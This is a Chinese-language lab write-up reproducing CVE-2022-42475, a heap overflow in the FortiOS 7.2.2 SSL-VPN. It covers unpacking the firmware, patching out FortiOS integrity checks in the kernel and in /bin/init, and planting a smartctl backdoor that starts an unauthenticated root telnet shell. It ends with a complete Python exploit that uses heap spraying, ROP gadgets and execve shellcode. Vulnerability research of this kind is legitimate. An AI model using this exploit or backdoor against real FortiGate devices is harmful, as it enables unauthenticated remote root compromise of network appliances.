Fortigate sslvpn堆溢出 CVE-2022-42475
这里选取的版本是7.2.2
配置过程
导入到VMware之后,把网卡切换到NAT(不切换其实问题也不大)


启动之后的账户是admin 密码是空密码,随后会重新设置密码。
显示我的网络配置情况,把它设置成固定IP地址(我VMware设置NAT网段是192.168.189.X)

设置之后的效果。之后访问 80 端口 web 页面(192.168.189.55:80),用刚刚设置的密码登录。

之后可以申请一个临时的license或者尝试去破解license。我临时找了一个license。
License可以利用工具自己生成,Github地址:https://github.com/rrrrrrri/fgt-gadgets

漏洞位于设备的 SSLVPN 功能中,分析前需要配置 VPN 功能。配置过程可参考官方文档,简单来说,首先在 User & Authentication -> User Definition 功能中创建一些 VPN 账户,添加到同一个 group 中。然后在 VPN -> SSL-VPN Settings 中填写监听网卡和端口等信息。最后按照提示创建一条防火墙规则允许外部请求进入。

如果想强制所有流量都走 VPN(目的地址保持 “all”),则关闭 split tunneling


至此可以触发漏洞的环境就已经搭建好了。

/bin/init 之所以是主要分析目标,是因为 FortiOS 把几乎整个业务层的用户态系统做成了一个大二进制:bin/init 是一个 69.8 MB 的 ELF,系统里 166 个守护进程全部是软链接到它——httpsd(Web 管理)、sshd、sslvpnd(SSL VPN)、ipsengine(IPS 引擎)、wad/proxyd(代理)、ospfd/bgpd/isisd(路由协议)、fnbamd(认证)、miglogd/fgtlogd(日志)、newcli(CLI)、cmdbsvr(配置数据库)等等。这是一个 busybox 式的 multi-call 二进制:运行时根据 argv[0](即被调用的名字)分发到对应的守护进程逻辑。所以拿到这一个文件,就等于拿到了 FortiOS 绝大多数攻击面——历年 FortiOS 的高危漏洞(如 sslvpnd 的堆溢出、httpsd 的未授权访问类漏洞)基本都在这里面。
解包过程
解开vmdk 取出镜像分区
cd ~/Desktop/fgt7.2.2
mkdir -p extract && cd extract
# 查看磁盘内容(应看到 MBR + 0.img + 1.img 两个分区)
7z l ../FortiGate-VM64_7.2.2-disk1.vmdk
# 解出分区镜像(约 2GB,需要一点时间)
7z x ../FortiGate-VM64_7.2.2-disk1.vmdk
产物说明:
文件 内容 用途
0.img ext3,卷标 FORTIOS 系统分区,含 rootfs.gz / flatkc 内核,主要对象
1.img ext3 数据分区 运行时数据(geodb、报告等),分析业务程序用不到···
# 验证
file 0.img 1.img
# 0.img: DOS/MBR boot sector 或 Linux ext3 filesystem (label FORTIOS)
# 1.img: Linux rev 1.0 ext3 filesystem data
从Fortios提取rootfs.gz
7z x 0.img rootfs.gz extlinux.conf
file rootfs.gz
# rootfs.gz: gzip compressed data, original size ~118MB
解开rootfs
zcat rootfs.gz > rootfs.cpio
file rootfs.cpio
# ASCII cpio archive (SVR4 with no CRC)
mkdir -p rootfs && cd rootfs
# 建议 sudo:cpio 需要权限创建 /dev 下的设备节点(无 sudo 也能解出,只是 dev 下缺节点)
sudo cpio -idm < ../rootfs.cpio
cd ..
解出后的骨架(rootfs/ 下):此时 bin/、usr/ 目录基本是空的 —— 正常,业务文件都在上面的压缩包里。

解开业务压缩包(核心步骤)
为什么标准工具不行(验证)
cd rootfs
xz -t bin.tar.xz
# xz: bin.tar.xz: Compressed data is corrupt ← Fortinet 改过校验,必须用它自己的工具
方法 A:chroot(教程原方法,需要 sudo)
在 rootfs/ 目录内执行:
sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar
sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
sudo chroot . /sbin/ftar -xf /migadmin.tar
sudo chroot . /sbin/xz --check=sha256 -d /usr.tar.xz
sudo chroot . /sbin/ftar -xf /usr.tar
sudo chroot . /sbin/xz --check=sha256 -d /node-scripts.tar.xz
sudo chroot . /sbin/ftar -xf /node-scripts.t
chroot 的作用:让 Fortinet 工具的绝对路径链接器 /fortidev/lib64/ld-linux-x86-64.so.2 在解包目录内可以解析。

/bin/sslvpnd 是本次的分析目标,其实际是指向 /bin/init 的软链接.
搭建GDB调试环境
登录虚拟机console后,拿到的是一个受限的命令行界面,无法执行 shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境.
分析下启动过程以及patched的思路
flatkc(4.1MB)是 FortiOS 的 Linux 内核。名字就是 “flat kernel” 的缩写——一个 bzImage 格式的内核文件:以 Linux 3.2.16 为基础、经 Fortinet 深度定制(包括我们上一轮分析出的 fgt_verify 防篡改校验就是 patch 进这个内核里的),构建于 2022-09-30,对应 7.2.2 发布。开机时 extlinux 引导器按 extlinux.conf 里的配置加载它,同时把 rootfs.gz 作为 initrd 一起载入内存。它是整个系统的第一环:内核起来 → 解包 initrd → 校验并 exec /sbin/init → 再到 /bin/init 和那 166 个守护进程。
flatkc.chk(256 字节)是 flatkc 的签名文件。256 字节正好是 2048 位 RSA 签名的长度——内容就是一段对内核做 SHA256 哈希后再用 Fortinet 私钥签名的二进制数据(对应关系和 rootfs 里的 bin.tar.xz.chk、/sbin/init.chk 完全一样:.chk = RSA2048 签名,供持有公钥的一方验证文件未被篡改)
# 1. 从 FORTIOS 分区提取内核
cd ~/Desktop/fgt7.2.2/extract && 7z x 0.img flatkc flatkc.chk
# 2. 安装 vmlinux-to-elf(系统 Python 受 PEP 668 限制,用 venv)
python3 -m venv ~/venvs/vml2elf
~/venvs/vml2elf/bin/pip install vmlinux-to-elf
# 3. 转换(flatkc 是 bzImage,不是 ELF,IDA 无法直接加载)
~/venvs/vml2elf/bin/vmlinux-to-elf flatkc flatkc.elf
fgt_verify 是 Fortinet 自己加到 Linux 内核里的一个“防篡改检查函数”——原版 Linux 内核里根本没有这个函数。它的工作只有一件事:在内核启动第一个用户态程序之前,先检查几个关键系统文件有没有被人改过。没改过才允许系统继续启动,改过就直接让系统“装死”。
所以要先找到fgt_verify的校验机制,在IDA里面打开,找到这个函数。
已经看到fgt_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程

/sbin/init 进程的逻辑如下(内核起来后执行的第一个用户态程序

代码逻辑:
首先校验文件系统
然后使用 decompress_dir 解压 bin.tar.gz 、migadmin.tar.gz 、node-scripts.tar.gz 、usr.tar.gz
最后执行 /bin/init .
bin/init还有几层校验
通过 Patch 绕过文件系统校验
再次简单梳理下系统启动校验流程:
内核解压 rootfs.gz,执行用户态进程 (/sbin/init) 之前会调用 fgt_verify 校验文件系统.
/sbin/init 会解压文件系统,然后执行 /bin/init 进程.
/bin/init 进行多次系统校验,校验失败会重启系统.
Patch 思路:
手动解压 rootfs.gz 以及其中的各个 tar.gz 文件.
然后 Patch /bin/init 程序,忽略其中的系统校验逻辑.(唯一需要静态patch的地方,其他的都是动态patch)
使用 cpio 和 gzip 重新打包 rootfs.gz
替换 FORTIOS 分区中的 rootfs.gz
利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行.
在文件系统中植入后门
在命令行中执行 diagnose hardware smartctl 系统会执行 /bin/smartctl 程序,我们可以通过修改 smartctl 来实现执行任意 shell 命令.
操作流程:
首先下载静态链接的 busybox 并将其放到 /bin/busybox 目录.
然后静态编译后门程序,替换 /bin/smartctl
重新打包 rootfs.gz
进入系统后,执行
diagnose hardware smartctl,触发后门的执行,会在 22 端口监听 telnet 服务.从其他机器上 telnet 登录即可拿到 Fortios 的 shell.
后门为什么选 smartctl:我已在 7.2.2 的 /bin/init 里确认了 act_diag_hw_smartctl 处理函数和 /bin/smartctl 路径字符串——FortiOS 的 CLI 命令 diagnose hardware smartctl 底层就是 fork+exec 这个外部程序。这是从受限 CLI 到任意代码的唯一官方通道:命令名是合法诊断命令(不会触发告警),执行的二进制却归你控制。
后门程序代码:
#include <stdio.h>
void shell(){
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
return;
}
int main(int argc, char const *argv[])
{
shell();
return 0;
}
拿到 shell 后,通过 wget 下载静态链接的 gdb 即可调试用户态进程.
# VMware debugStub 内核调试脚本(在 gdb 里: source gdb_kernel.txt)
# 前提: 虚拟机已开机(卡在 fgt_verify 断点前),vmx 已配置 debugStub 端口 12345
# 符号来自 vmlinux-to-elf 转换的 flatkc.elf(无 KASLR,地址写死)
set architecture i386:x86-64
target remote <NAT地址>:12345 #如果你是用虚拟机连接fortigate
symbol-file /home/rwb/Desktop/fgt7.2.2/extract/flatkc.elf
# 1. 硬件断点拦住 fgt_verify(debugStub 下软件断点不可靠,必须 hbreak)
hbreak *0xffffffff80200991
continue
# 2. 命中后,把函数头改成 xor eax,eax; ret —— 永远返回 0(校验通过)
set {unsigned char}0xffffffff80200991 = 0x31
set {unsigned char}0xffffffff80200992 = 0xc0
set {unsigned char}0xffffffff80200993 = 0xc3
# 3. 把 exec 目标从 /sbin/init 改成 /bin/init(原地覆盖 10 字节含 NUL,刚好放下)
set {char[10]}0xffffffff808f3591 = "/bin/init"
# 4. 收掉断点,放行 —— 内核将直接 exec /bin/init,跳过 /sbin/init 的解包验签
delete
continue
总结
1. Patch /bin/init 校验函数(已验证)
- 位置:
bin/init虚拟地址0x277fc20(boot 镜像 RSA 验签函数,校验
/data/rootfs.gz 和 /data/flatkc 对应 .chk,失败触发重启)
原字节:
55 be e0 ec 5c 03→ 改为b8 01 00 00 00 c3(mov $1,%eax; ret,永远返回”通过”)覆盖该函数全部 4 个调用点(0x44f222 fork 子进程校验、0xc09c9e、0x2784b6c、0x2784f2d)
2. 文件系统改动
/bin/busybox:静态 busybox 1.35.0(x86_64 musl,1.1MB,已验证可执行)/bin/smartctl:替换为静态编译后门(源码 debug/backdoor.c),原程序备份在
extract/smartctl.orig
- 后门行为:杀 sshd → busybox telnetd 监听 0.0.0.0:22(-l /bin/sh,免认证 root shell)
3. 重打包与写回(已闭环验证)
find . | cpio -H newc -o -R 0:0+ dev 节点拼接 +gzip -9→ rootfs.gz(78.5MB,原 67.5MB)debugfs 写回 FORTIOS 分区镜像 0.img(rm rootfs.gz + write,inode 18)
qemu-img vmdk→raw,分区表定位(FORTIOS = LBA 2048 = 1MB 偏移),dd 写回,raw→vmdk
验证:patched vmdk 转回 raw 后分区 MD5 与修改后 0.img 完全一致
上面的步骤可以让AI完成,也可以自己手动patch。
4.vmware侧
把 FortiGate-VM64_7.2.2-disk1-patched.vmdk 复制进虚拟机目录,改名为原盘名
FortiGate-VM64_7.2.2-disk1.vmdk(vmx 里引用的是这个名字,不用改 vmx 磁盘项)disk2(日志盘)不动
编辑虚拟机目录下的 .vmx 文件,末尾追加:
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
monitor.debugOnStartGuest64 = "TRUE"
5.开机调试
# 1. 开机(点击"打开电源"后立刻执行下一步,BIOS 阶段连上即可)
# 2. 宿主机执行:
gdb -q
(gdb) source /home/rwb/Desktop/fgt7.2.2/debug/gdb_kernel.txt
脚本自动完成:连接 12345 → 载入 flatkc.elf 符号 → hbreak 拦截 fgt_verify →
命中后改函数头为 xor eax,eax;ret → 把 “/sbin/init” 字符串原地改为 “/bin/init” → 放行。
控制台登录 → diagnose hardware smartctl → 本机 telnet 192.168.189.55 22 拿 root shell
| 层 | patch |
|---|---|
| 内核(每次开机 gdb 运行时打) | fgt_verify→ret0、exec 目标→/bin/init |
| /bin/init 静态 patch 1 | 0x277fc20 验签 → mov $1,%eax; ret |
| /bin/init 静态 patch 2 | 0x44f070 关机总入口 → ret |
| 文件系统 | busybox + smartctl 后门 + 1137 设备节点 + disk.chk |

成功拿到root,下载gdb就可以调试用户态进程了。

如何下载并使用gdb
export PATH=/bin:/sbin:/usr/bin:/tmp
# /bin 下生成全部 applet 软链接(ls、id、ps、netstat、wget……)
/bin/busybox --install -s /bin
# 拿到静态链接的gdb
# 宿主机放静态gdb的目录执行: python3 -m http.server 8000
# ~/Desktop/fgt7.2.2/gdbshare
cd /tmp
/bin/busybox wget http://192.168.189.130:8000/gdb -O /tmp/gdb
python3 -m http.server 8000
/tmp/gdb -p $(/bin/busybox pidof httpsd)
CVE-2022-42475
漏洞类型:堆溢出
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
参考博客:
查找漏洞点
可以通过diff 7.2.2和7.2.3版本的方式来看漏洞点
主要是看/bin/init 这个二进制文件,可以通过ida以及bindiff插件来看两个二进制文件的差异

具体怎么找漏洞点的,我也不太清楚,感觉更多的可能是经验
网上的博客给的思路是:堆内存溢出->handler 函数中对用户提交的参数验证不严格或者代码在解析请求时对 Content-Length 的解析出现异常->sslvpnd ->http fuzz
核心漏洞点(可以让AI来找)
sslvpn_read_post_data_cb
7.2.2

读取content length只读取了四个字节
DWORD 4个字节


7.2.3

结构体里 Content Length 由 strtoull 按 8 字节解析,分配却用截断的 4 字节+1,而 memcpy 拷贝量用完整 8 字节值。
gdb调试验证
# 查看 sslvpnd的进程id
pidof sslvpnd
ps aux
(gdb) attach $PID
(gdb) b *0x1785b90 # mov eax,[rax+18h] —— 读CL的瞬间
(gdb) b *0x1785b9d # call alloc —— 分配的瞬间
ContentLength 为 100、1000000

Length 为 115964116992(0x1b00000000)

说明被截断了,实际分配了1
拷贝循环用的是完整的 8 字节 CL——分配和拷贝用了同一字段的不同宽度读取
攻击者实际的payload再多一点的话,就会导致溢出。
漏洞利用

核心道具:SSL 会话结构体(带函数指针的堆对象)
sslvpnd 为每个 TLS 连接维护一个固定大小的结构体,里面有一个回调函数指针——当该 socket 有新数据到达时,事件循环会调用它。这就是我们的“靶子”:只要溢出数据覆盖到某个相邻 SSL 结构体的这个指针,再往那个 socket 发点数据,CPU 就会跳到我们写的地址。
漏洞利用路径简述
发送 Content-Length: 115964116992,即 0x1b00000000。
read_post_data 中按 32 位 CL + 1 做 movsxd 扩展,实际只分配 1 字节堆块。
堆喷大量 SSL 连接,布置 SSL 结构体。
超长 POST body 触发堆溢出,覆盖 handshake_func。
劫持后使用 push rdx; pop rsp; …; ret 栈迁移。
ROP 调用 mprotect 把 shellcode 所在堆页改成 RWX。
执行 execve(“/tmp/pwn”, argv, NULL)。
当前 debug/exp_final.py 的完整流程是:
喷雾 60 连接
打洞
exp 连接 + 填缝
发送恶意 Content-Length
发送 3624 字节 payload
触发回调
复现操作
前提是目标已经运行 sslvpnd,并且 /tmp/pwn 已经是一个可执行验证脚本。当前环境里我们通过已有的 telnet 后门放置了:
#!/bin/sh
/bin/busybox id > /tmp/pwn.log 2>&1
/bin/busybox uname -a >> /tmp/pwn.log 2>&1
然后运行:
cd /home/rwb/Desktop/fgt7.2.2
python3 debug/exp_final.py
再检查目标:
cat /tmp/pwn.log
输出即为:
uid=0 gid=0
Linux FGVMPGLICENSEDTOCATALPA 3.2.16 #2 SMP Fri Sep 30 22:58:26 UTC 2022 x86_64 GNU/Linux
需要说明的一点
本次 exploit 本身完成的是未认证 SSL-VPN 攻击面和 ROP 到代码执行;用于证明的 /tmp/pwn 是借助当前环境已有的调试后门预先放到目标上的。如果要做一个完全不依赖已有后门的完整 EXP,下一步应把 shellcode 改成自包含的 connect-back 或直接写文件型 shellcode,不再依赖 /tmp/pwn。但就 CVE 漏洞复现而言,控制流劫持、mprotect、shellcode 执行和 root 级命令执行都已经验证成功。
#!/usr/bin/env python3
# exp_final.py — CVE-2022-42475 完整利用 (7.2.2 专属参数)
# 结构: 喷雾(60) -> 打洞(20..40/2) -> exp连接 -> 填缝(20) -> 溢出 -> 触发回调
import socket, ssl, struct, time
HOST, PORT = "192.168.189.55", 4443
# ===== 7.2.2 gadget表 (全部实测于本bin/init) =====
PIVOT = 0x140583a # push rdx; pop rsp; add edi,edi; nop; ret ← 栈劫持(真c3)
MOV_RAX_RDX = 0x54dac8 # mov rax, rdx; ret
POP_RCX = 0x58f803 # pop rcx; ret
AND_RAX_RCX = 0x2b83960 # and rax, rcx; ret
POP_RDI = 0x60f622 # pop rdi; ret
POP_RSI = 0x530c9e # pop rsi; ret
POP_RDX = 0x509382 # pop rdx; ret
MOV_RDX_RAX = 0x1ea0374 # mov rdx,rax; sub rdx,rdi; sub [rsi],rdx; ret (rax→rdx搬运)
MOV_RDI_RDX = 0x45d852 # mov rdi,rdx; test esi,esi; jne..; ret
MPROTECT = 0x43f3e0 # mprotect@plt
JMP_RSP = 0x48560d # jmp rsp
WRITABLE = 0xF600000 # .bss深处空闲页(sub副作用的安全靶子)
p64 = lambda x: struct.pack("<Q", x)
# ===== ROP链: 把victim所在堆页改成RWX, 然后jmp rsp进shellcode =====
chain = p64(MOV_RAX_RDX) # rax = victim地址
chain += p64(POP_RCX) + p64(0x54dac8) # ★牺牲槽: victim+16会被进程脏写, 弹出即弃
chain += p64(POP_RCX) + p64(0xfffffffffffff000)
chain += p64(AND_RAX_RCX) # rax = victim所在页首页
chain += p64(POP_RDI) + p64(0)
chain += p64(POP_RSI) + p64(WRITABLE)
chain += p64(MOV_RDX_RAX) # rdx = 页首 (副作用: [WRITABLE]-=页首,无害)
chain += p64(POP_RSI) + p64(0)
chain += p64(MOV_RDI_RDX) # rdi = 页首
chain += p64(POP_RSI) + p64(0x4000) # 长度16KB
chain += p64(POP_RDX) + p64(7) # RWX
chain += p64(MPROTECT) # mprotect(页首, 0x4000, RWX)
chain += p64(JMP_RSP) # 跳进紧随其后的shellcode
# ===== shellcode: execve("/tmp/pwn", NULL, NULL) =====
sc = b"x31xf6" # xor esi,esi
sc += b"x56" # push rsi (argv[1]=NULL)
sc += b"x48xbbx2fx74x6dx70x2fx70x77x6e" # mov rbx,"/tmp/pwn"
sc += b"x53" # push rbx (路径串)
sc += b"x48x89xe7" # mov rdi,rsp (path)
sc += b"x56" # push rsi (argv[]结尾NULL)
sc += b"x57" # push rdi (argv[0]=path)
sc += b"x48x89xe6" # mov rsi,rsp (argv)
sc += b"x31xd2" # xor edx,edx (envp=NULL)
sc += b"xb8x3bx00x00x00" # mov eax,59
sc += b"x0fx05" # syscall
victim = chain + b"x90" * (192 - len(chain) - len(sc)) + sc
assert len(victim) == 192, len(victim)
# ===== 堆布局(实测): victim在溢出偏移3424, 函数指针在3616 =====
payload = b"x" * 3424
payload += victim
payload += p64(PIVOT) # victim+0xC0 = jmp *rax 的目标
assert len(payload) == 3624
def mk_ssl():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((HOST, PORT))
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx.wrap_socket(s)
def post(cl, body=b"a=1"):
return (b"POST /remote/login HTTP/1.1rnHost: " + HOST.encode() +
b"rnContent-Length: " + str(cl).encode() +
b"rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rn"
b"Accept: */*rnrn" + body)
socks = []
print("[1] 喷雾60连接"); [ (lambda sk: (sk.sendall(post(100)), socks.append(sk)))(mk_ssl()) for _ in range(60) ]
print("[2] 打洞")
for i in range(20, 40, 2):
socks[i].close(); socks[i] = None
print("[3] exp连接+填缝")
exp_sk = mk_ssl()
for _ in range(20):
socks.append(mk_ssl())
print("[4] 恶意CL POST头")
exp_sk.sendall(post(115964116992, b""))
print("[5] 溢出payload %d字节" % len(payload))
exp_sk.sendall(payload)
print("[6] 触发回调")
for sk in socks:
if sk:
try: sk.sendall(b"b" * 40)
except Exception: pass
print("完成, 检查 /tmp/pwn.log ...")
time.sleep(3)